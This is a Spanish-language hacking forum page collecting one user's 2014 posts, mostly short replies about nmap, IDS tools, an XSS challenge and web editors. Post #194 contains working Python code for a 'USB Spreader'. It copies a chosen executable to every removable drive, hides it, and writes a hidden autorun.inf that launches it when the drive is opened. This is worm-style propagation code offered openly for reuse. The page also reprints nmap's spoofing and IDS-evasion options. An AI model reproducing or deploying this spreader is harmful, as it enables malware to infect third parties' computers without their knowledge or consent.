Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - WhiZ

#181
Por lo que veo son varias las dudas que te surgen al momento de utilizar NMap.

Lo mejor que te puedo recomendar es You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login. Está muy completa y te va a brindar la posibilidad de aprovechar esta herramienta al cien por ciento.

Espero que te sirva.

Saludos!
WhiZ
#182
Hacking / Re:Nos acercamos a la vecina con dsniff
Julio 30, 2014, 10:40:53 AM
Jeje muy bueno.

Me gustó la idea de enseñar con una historia.

Saludos!
WhiZ
#183
Se puede hacer en python. Justamente el otro dia estuve viendo y ya hay algo hecho.
#184
Para eso, nmap cuenta con una serie de opciones bajo el título de "FIREWALL/IDS EVASION AND SPOOFING". La opción "-S" es la que se aplica a tus necesidades. Puedes ver más acerca de ellas con la opción "-h":

Código: bash
root@bt:~/Desktop# nmap -h
Nmap 6.46 ( http://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
  Can pass hostnames, IP addresses, networks, etc.
  Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
  -iL <inputfilename>: Input from list of hosts/networks
  -iR <num hosts>: Choose random targets
  --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
  --excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
  -sL: List Scan - simply list targets to scan
  -sn: Ping Scan - disable port scan
  -Pn: Treat all hosts as online -- skip host discovery
  -PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
  -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
  -PO[protocol list]: IP Protocol Ping
  -n/-R: Never do DNS resolution/Always resolve [default: sometimes]
  --dns-servers <serv1[,serv2],...>: Specify custom DNS servers
  --system-dns: Use OS's DNS resolver
  --traceroute: Trace hop path to each host
SCAN TECHNIQUES:
  -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
  -sU: UDP Scan
  -sN/sF/sX: TCP Null, FIN, and Xmas scans
  --scanflags <flags>: Customize TCP scan flags
  -sI <zombie host[:probeport]>: Idle scan
  -sY/sZ: SCTP INIT/COOKIE-ECHO scans
  -sO: IP protocol scan
  -b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
  -p <port ranges>: Only scan specified ports
    Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
  -F: Fast mode - Scan fewer ports than the default scan
  -r: Scan ports consecutively - don't randomize
  --top-ports <number>: Scan <number> most common ports
  --port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE/VERSION DETECTION:
  -sV: Probe open ports to determine service/version info
  --version-intensity <level>: Set from 0 (light) to 9 (try all probes)
  --version-light: Limit to most likely probes (intensity 2)
  --version-all: Try every single probe (intensity 9)
  --version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
  -sC: equivalent to --script=default
  --script=<Lua scripts>: <Lua scripts> is a comma separated list of
           directories, script-files or script-categories
  --script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts
  --script-args-file=filename: provide NSE script args in a file
  --script-trace: Show all data sent and received
  --script-updatedb: Update the script database.
  --script-help=<Lua scripts>: Show help about scripts.
           <Lua scripts> is a comma-separated list of script-files or
           script-categories.
OS DETECTION:
  -O: Enable OS detection
  --osscan-limit: Limit OS detection to promising targets
  --osscan-guess: Guess OS more aggressively
TIMING AND PERFORMANCE:
  Options which take <time> are in seconds, or append 'ms' (milliseconds),
  's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
  -T<0-5>: Set timing template (higher is faster)
  --min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes
  --min-parallelism/max-parallelism <numprobes>: Probe parallelization
  --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies
      probe round trip time.
  --max-retries <tries>: Caps number of port scan probe retransmissions.
  --host-timeout <time>: Give up on target after this long
  --scan-delay/--max-scan-delay <time>: Adjust delay between probes
  --min-rate <number>: Send packets no slower than <number> per second
  --max-rate <number>: Send packets no faster than <number> per second
FIREWALL/IDS EVASION AND SPOOFING:
  -f; --mtu <val>: fragment packets (optionally w/given MTU)
  -D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
  -S <IP_Address>: Spoof source address
  -e <iface>: Use specified interface
  -g/--source-port <portnum>: Use given port number
  --proxies <url1,[url2],...>: Relay connections through HTTP/SOCKS4 proxies
  --data-length <num>: Append random data to sent packets
  --ip-options <options>: Send packets with specified ip options
  --ttl <val>: Set IP time-to-live field
  --spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
  --badsum: Send packets with a bogus TCP/UDP/SCTP checksum
OUTPUT:
  -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,
     and Grepable format, respectively, to the given filename.
  -oA <basename>: Output in the three major formats at once
  -v: Increase verbosity level (use -vv or more for greater effect)
  -d: Increase debugging level (use -dd or more for greater effect)
  --reason: Display the reason a port is in a particular state
  --open: Only show open (or possibly open) ports
  --packet-trace: Show all packets sent and received
  --iflist: Print host interfaces and routes (for debugging)
  --log-errors: Log errors/warnings to the normal-format output file
  --append-output: Append to rather than clobber specified output files
  --resume <filename>: Resume an aborted scan
  --stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML
  --webxml: Reference stylesheet from Nmap.Org for more portable XML
  --no-stylesheet: Prevent associating of XSL stylesheet w/XML output
MISC:
  -6: Enable IPv6 scanning
  -A: Enable OS detection, version detection, script scanning, and traceroute
  --datadir <dirname>: Specify custom Nmap data file location
  --send-eth/--send-ip: Send using raw ethernet frames or IP packets
  --privileged: Assume that the user is fully privileged
  --unprivileged: Assume the user lacks raw socket privileges
  -V: Print version number
  -h: Print this help summary page.
EXAMPLES:
  nmap -v -A scanme.nmap.org
  nmap -v -sn 192.168.0.0/16 10.0.0.0/8
  nmap -v -iR 10000 -Pn -p 80
SEE THE MAN PAGE (http://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES


Por último, te dejo la un You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login con la You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

Recomendación: Cuidado con lo que haces. Si querés practicar con nmap y un IDS, hacelo en tu casa (o en algún lugar donde tengas permiso). De lo contrario, te vas a meter en problemas ;)

Saludos!
WhiZ
#185
Uno de los más utilizados es snort. Si mal no recuerdo, ése es el que enseñan a utilizar en los antiguos cuadernos de HxC (en el capítulo de IDS escrito por Vic_thor).

Pegale una ojeada a esas revistas y cualquier cosa no dudes en preguntar.

Saludos!
WhiZ
#186
Puedes probar con un IDS.

Saludos!
WhiZ
#187
Wargames y retos / Re:Reto XSS [muy fácil]
Julio 29, 2014, 02:30:53 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Aquí va el mío.



Saludos!
WhiZ

Lo siento, no has pasado el reto, consistía en poner un alert... No, es broma, me ha gustado mucho tu idea de poner la web de Under y tu nombre en vez de un alert...
Jeje hace unos días pensé en proponer algo así como carta de presentación del URS_Team. No estaría mal, no?
#188
Wargames y retos / Re:Reto XSS [muy fácil]
Julio 29, 2014, 01:46:37 PM
Aquí va el mío.



Saludos!
WhiZ
#189
Python / Re:Crawler
Julio 24, 2014, 07:02:00 PM
Excelente Once!!! Hace un tiempo atrás, cuando hacíamos los retos, charlamos acerca de hacer un crawler en python. Al final, nunca me puse pero por suerte vos sí jeje.

Gracias por compartir!

Saludos!
WhiZ
#190
Python / Re:Videotutoriales Django
Julio 24, 2014, 06:58:09 PM
Ese libro es realmente excelente.

También existen unos videotutoriales de Jesús Conde. Yo no los he visto pero teniendo en cuenta de quién vienen, no estaría de más tenerlos a mano.

Saludos!
WhiZ
#191
Espero q You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login te sirva!

Saludos!
WhiZ
#192
Excelente! A probarrr...

Gracias!
WhiZ
#193
Off Topic / Re:Cuanto tiempo...
Junio 10, 2014, 10:27:11 AM
CitarPor cierto, si te refieres a mi, no soy mDrinky xD.

jeje no, se refiere a Juan!
#194
Python / USB Spreader
Junio 09, 2014, 11:45:13 PM
Hola gente! Motivado por el código expuesto por 0b3Y en You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, me decidí a crear una clase Spreader en python que cumpla con dicha función.

Sin más, aquí el código:

Código: python
import win32api
import win32con
import win32file
import sys
import os

class Spreader(object):
    def __init__(self, path):    # path debe ser absoluto
        print " [*] Checking information"

        self.filename = path.split("\\")[-1]
        self.driveFilename = self.filename
       
        if not self.driveFilename.startswith("~"):
            self.driveFilename = "~" + self.driveFilename

        print "\t- Local filename: " + self.filename
        print "\t- Driver filename: " + self.driveFilename
       
        self.path = "\\".join(path.split("\\")[:-1]) + "\\" + self.filename

        print "\t- Full path: " + self.path

        print "\n [*] Getting removable drives"
        self.drives = self.__getRemovableDrives()

        if len(self.drives) == None:
            print " [-] No removable drives available"
            sys.exit()

        for drive in self.drives:
            print "\t- " + drive

        print "\n [*] Spreading"
        self.__spread()

        print "\n [+] Successfully spread"

    def __getRemovableDrives(self):
        removableDrives = []
        drives = win32api.GetLogicalDriveStrings().split("\000")[:-1]

        for drive in drives:
            driveType = win32file.GetDriveType(drive)
           
            if driveType == win32file.DRIVE_REMOVABLE:
                removableDrives.append(drive)
               
        return removableDrives

    def __spread(self):
        for drive in self.drives:
                       
            if drive == "A:\\":
                continue
           
            else:

                driveFile = drive + self.driveFilename
                driveAutorun = drive + "autorun.inf"

                print " [+] " + drive
           
                if not os.path.exists(driveFile):
                    self.__copyFile(driveFile)
                   
                if not os.path.exists(driveAutorun):
                    self.__createAutorun(driveAutorun)

    def __copyFile(self, driveFile):
        print "\t- Copying file: " + self.driveFilename,
        win32file.CopyFile(self.path, driveFile, 0)
        print "\t\t\tDONE"

        print "\t- Hidding file",
        win32api.SetFileAttributes(driveFile,\
                                   win32con.FILE_ATTRIBUTE_HIDDEN)
        print "\t\t\tDONE"

    def __createAutorun(self, driveAutorun):
        print "\t- Creating autorun.inf",
        autorun = open(driveAutorun, "w")
        content = """[Autorun]
open={0}
icon={0}
label=Python Spreader
UseAutoPlay=1
action=Start my App
action=@{0}
shell\open=Open
shell\open\Command={0}
shell\explore=explore
shell\explore\command={0}""".format(self.driveFilename)
        autorun.write(content)
        autorun.close()
        print "\t\t\tDONE"

        print "\t- Hidding autorun",
        win32api.SetFileAttributes(driveAutorun,\
                                   win32con.FILE_ATTRIBUTE_HIDDEN)
        print "\t\t\tDONE"


Mañana actualizo el code (me falta manejo de errores). También le voy a añadir la opción verbose para que la salida no sea obligatoria.
Por último, falta añadir la opción de importar el contenido del autorun.

Espero que les guste.

Saludos!
WhiZ
#195
Zona Webmaster / Mejor editor web para GNU/Linux
Mayo 26, 2014, 09:52:34 AM

Mejor Editor Web
para GNU/Linux

Buenas! Cómo están? Los que me conocen seguro se asombren de verme por estos lados (sección de programación web), es por eso que voy a explicar a qué se debe la creación de esta encuesta.

La cuestión es que hace unos días decidí mejorar mis conocimientos básicos de javascript y php y, teniendo en cuenta que me manejo casi exclusivamente con GNU/Linux, entonces no tuve más opción que buscar una buena alternativa al tan famoso Dreamweaver de Adobe (no me gusta wineizar :P ).

Así es que en medio de esta búsqueda me encontré con un editor que si bien es sencillo (ni se acerca a Dreamweaver) me gustó mucho (principalmente porque brinda una comodidad de trabajo muy similar a la del Sublime Text). Este editor se llama You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login (a continuación les dejo una captura).


Como verán, este post tiene 2 objetivos: promocionar este editor y ver cuál es la opinión de los que trabajan todos los días con aplicaciones de este tipo (que son los que realmente saben cuál es el mejor editor).

Sé que faltan más editores pero sólo puedo poner 5 opciones. Dejé el campo "Otros" para que cada uno postee algún editor alternativo a la lista.

Espero su participación.

Saludos!
WhiZ
#196
Jaja me ahorraste el trabajo. Necesitaba un creador de diccionario para WPA y me estaba por hacer uno :)

Gracias por el aporte!

Saludos!
WhiZ
#197
Excelente información! Muy interesante!

Gracias por compartir!

Saludos!
WhiZ
#198
Mmm... No estoy seguro de que funcione pero intenta con esto:

Código: bash
sudo apt-add-repository ppa:gurqn/systray-trusty
sudo apt-get update
sudo apt-get upgrade


Saludos.
WhiZ
#199
Dudas y pedidos generales / Re:Http y https
Abril 23, 2014, 01:55:27 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login te va a servir.

En el foro existe You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login que automatiza todo el proceso.

Saludos.
WhiZ
#200
Pregunta: ¿tenés alguna aplicación escuchando en el puerto correspondiente? Te pregunto porque por más que el router esté bien configurado, en caso de no haber una aplicación esperando en ese puerto el escaneo va a informar que el puerto se encuentra cerrado.

Este es un ejemplo. En mi router abrí el puerto 9876. Vas a ver que en el primer caso no tengo ninguna aplicación a la escucha por lo que el puerto va a estar cerrado.


Luego de abrir netcat y ponerlo a la escucha en el puerto 9876, estos son los resultados que arroja nmap:


Espero que te sirva!
Saludos!
WhiZ